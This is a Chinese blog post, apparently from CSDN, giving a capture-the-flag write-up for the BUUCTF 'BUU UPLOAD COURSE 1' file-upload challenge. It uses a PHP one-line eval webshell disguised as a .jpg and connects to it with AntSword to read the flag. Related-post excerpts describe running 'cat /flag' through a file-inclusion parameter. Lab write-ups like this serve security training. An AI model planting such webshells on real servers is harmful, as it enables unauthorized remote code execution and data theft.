BUU UPLOAD COURSE 1-文件上传

最新推荐文章于 2025-06-06 15:56:12 发布
最新推荐文章于 2025-06-06 15:56:12 发布
阅读量828 收藏 9
点赞数 8
CC 4.0 BY-SA版权
分类专栏： ctf 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/lin__ying/article/details/135255210
本文介绍了如何在靶机上利用文件上传功能植入PHP木马，通过蚁剑工具访问并获取flag。过程涉及创建恶意文件、上传、链接操作及权限验证。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

题目

BUU UPLOAD COURSE 1-文件上传

1.打开靶机，文件上传

2.创建一个flag.php.jpg文件

在文件中写入以下木马

<?php @eval($_POST[123])?>

3.上传该文件

4,将链接复制到蚁剑

5.双击打开，进到"/"目录下

看到flag，双击打开

2025.1.20——二、buuctf BUU UPLOAD COURSE 1 1 文件上传
2402_87387800的博客
01-22 748
题目来源：buuctf BUU UPLOAD COURSE 1 1。
BUUCTF_Web(UPLOAD COURSE 1)
2401_87524087的博客
01-22 1274
打开靶机，发现需要上传文件，尝试+蚁剑链接。
BUUCTF--BUU UPLOAD COURSE 1
m0_62879498的博客
03-03 9193
BUUCTF–BUU UPLOAD COURSE 1 一进入本题，我们先尝试上传文件，发现我们无论上传什么文件都会上传成功。我们尝试直接上传 shell.php 文件，上传成功，但在访问的时候发现： 我们没有办法访问，使用AntSword进行连接也是报错 题目没有设置上传后缀的限制 但是上传之后任意后缀形式都会被改成.jpg格式（无论我们使用什么办法，包括BP改包，放包后依旧以 .jpg 的格式储存），换句话说 .htaccess 配置文件， 也无法使用我们无法使用中国剑蚁进行连接。 查询了大佬的博客
BUU UPLOAD COURSE 1通关详解
m0_74135202的博客
06-06 415
【代码】BUU UPLOAD COURSE 1通关详解。
BUUCTF Basic BUU UPLOAD COURSE 1
打工人
03-13 3794
BUUCTF 新手练习题
BUUCTF/BUU UPLOAD COURSE 1
weixin_44041994的博客
03-21 507
我们直接上传webshell文件，发现自动将php后缀改为了jpg后缀。后续通过一系列burp suit更改发现无法绕过。随手上传一个echo 123的php发现直接访问修改文件名后的文件，可以执行代码。重新上传webshell并用中国蚁剑进行连接。连接成功，在根目录下找到flag文件。打开靶机，发现是一个文件上传页面。输入flag值，通关成功。
BUUCTF BUU UPLOAD COURSE 1返回数据为空
最新发布
06-19
在BUUCTF平台中，BUU UPLOAD COURSE 1返回数据为空的问题可能由以下几种情况导致： 1. **文件上传后未正确处理**：上传的文件可能被服务器重命名或移动到其他路径，但页面未返回正确的文件访问路径[^1]。 2. **PHP...
Upload-Labs-Linux 1
07-27
- *1* *3* [BUUCTF basic Linux Labs & BUU LFI COURSE 1 & Upload-Labs-Linux & BUU BRUTE 1](https://blog.youkuaiyun.com/m0_64558270/article/details/126527059)[target="_blank" data-report-click={"spm":"1018....
BUUCTF - Basic
weixin_39505091的博客
07-06 1327
XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。发现有个 ctftraining 数据库，查找该数据库下的表，果然找到了有个 flag表，该表里有个flag字段。文件上传漏洞，上传一个php一句话木马文件，返回了文件的访问路径，再用蚁剑连接，即可在根目录找到flag。2. 本来这样是没啥办法的，但是我们访问这个木马文件，发现这个文件其实是被执行了，输出了 hello；
BUU UPLOAD COURSE 1【basic】
weixin_52942048的博客
10-07 736
请求参数：添加两个 {"file": "uploads/6520874b1e440.jpg", "x": "cat /flag"}1、先打开链接，上传一个普通文件，发现它会被默认存为一个jpg文件，那么通过蚁剑的方式是行不通的。3、将txt文件上传，复制图片地址，打开浏览器、BurpSuite代理，将请求参数进行修改。可以看到返回的结果中执行了 cat /flag。2、新建一个txt文件，将下面内容贴进去。
BUU UPLOAD COURSE 1-文件上传(1)，网络安全开发面试问题回答技巧
m0_60452293的博客
04-08 1185
这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。(img-EcbncQVo-1712582509632)]试辅导），让我们一起学习成长！
BUU UPLOAD COURSE 1 文件包含
m0_74196038的博客
03-31 918
反思：这道题虽然难度不大，但是还是花了不少时间，一开始脑子全想着怎么去改后缀了，没有发现隐藏的文件包含这个利用点和file参数。eval函数是没办法直接执行命令的，它是把字符串当作php代码解析。1.页面是一个文件上传的接口，尝试上传一句话木马，上传成功，但是文件后缀被重命名。因为这里不是直接上传php文件，无法用蚁剑直接连接，只能用hackbar输入命令。system函数是php的函数，用来执行系统命令。eval结合system函数就可以执行系统命令。
BUU UPLOAD COURSE 1 1（一句话木马+蚁剑）
小谢的博客
10-25 3550
BUU UPLOAD COURSE 1 1（一句话木马+蚁剑）题解
BUUCTF：BUU UPLOAD COURSE 1[WriteUP]
如有错误感谢斧正
04-06 695
这里我们构造的木马是POST的方式上传，那就用MaxHacKBar来执行。接下来把我们要执行的命令以POST的方式赋值给shell就可以命令执行了。eval函数是无法直接执行命令的，只能把字符串当作php代码解析。点击"Load URL"并且把刚才我们上传的文件路径粘贴到后面。经测试这里发现直接用一句话木马，用蚁剑连接也是可以成功的。的值使得服务器执行system命令。最后也是在根目录下找到了flag。也是可以在根目录找到flag。利用eval函数解析。
BUUCTF Basic 解题记录--BUU UPLOAD COURSE 1
weixin_43171033的博客
10-07 977
3、上传一句话木马，用jpg格式存储，然后在hackbar 的file= 参数后面替换掉上传的文件路径；并在postdata输入如下命令，执行即可获得flag。1、打开链接发现是让上传文件，随意上传一个txt文件发现直接显示jpg格式，然后尝试其他文件，上传后还是被改成jpg格式；2、打开Hackbar，发现在file= 这个参数替换掉刚才上传的文件路径，能查看到文件的内容；
【文件上传】UPLOAD_COURSE1
serendipity1130的博客
08-28 918
考点：postman的使用 1.题目没有设置上传后缀的限制，但是上传之后任意后缀形式都会被改成.jpg格式，也就是说，如果只是单纯的上传了马，那么被以jpg格式储存之后，用菜刀是连不上的 2.我们上传之后，不能直接访问xxx/uploads/xxxxx.jpg那样只是预览这个文件，而起不到调用这个文件的作用，当然我记得如果是个php后缀的马好像就直接预览就行了 3.使用postman即可 ...
BUU UPLOAD COURSE 1
Fab1an的博客
02-04 867
发现是说上传之后 不能直接访问xxx/uploads/xxxxx.jpg 那样只是预览这个文件 而起不到调用这个文件的作用。发现可以直接在index首页的file参数直接带上/uploads/xxxxx.jpg就可以执行代码了。先访问该php木马的地址，让浏览器（服务器）对它解析，这样我们才能利用。尝试上传一句话木马的php代码，保存为一个1.php，然后上传。只有服务器解析了php代码，我们的木马才算成功执行了。1=cat /flag 就可以获得flag。发现可以预览，但是执行不了木马的代码。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值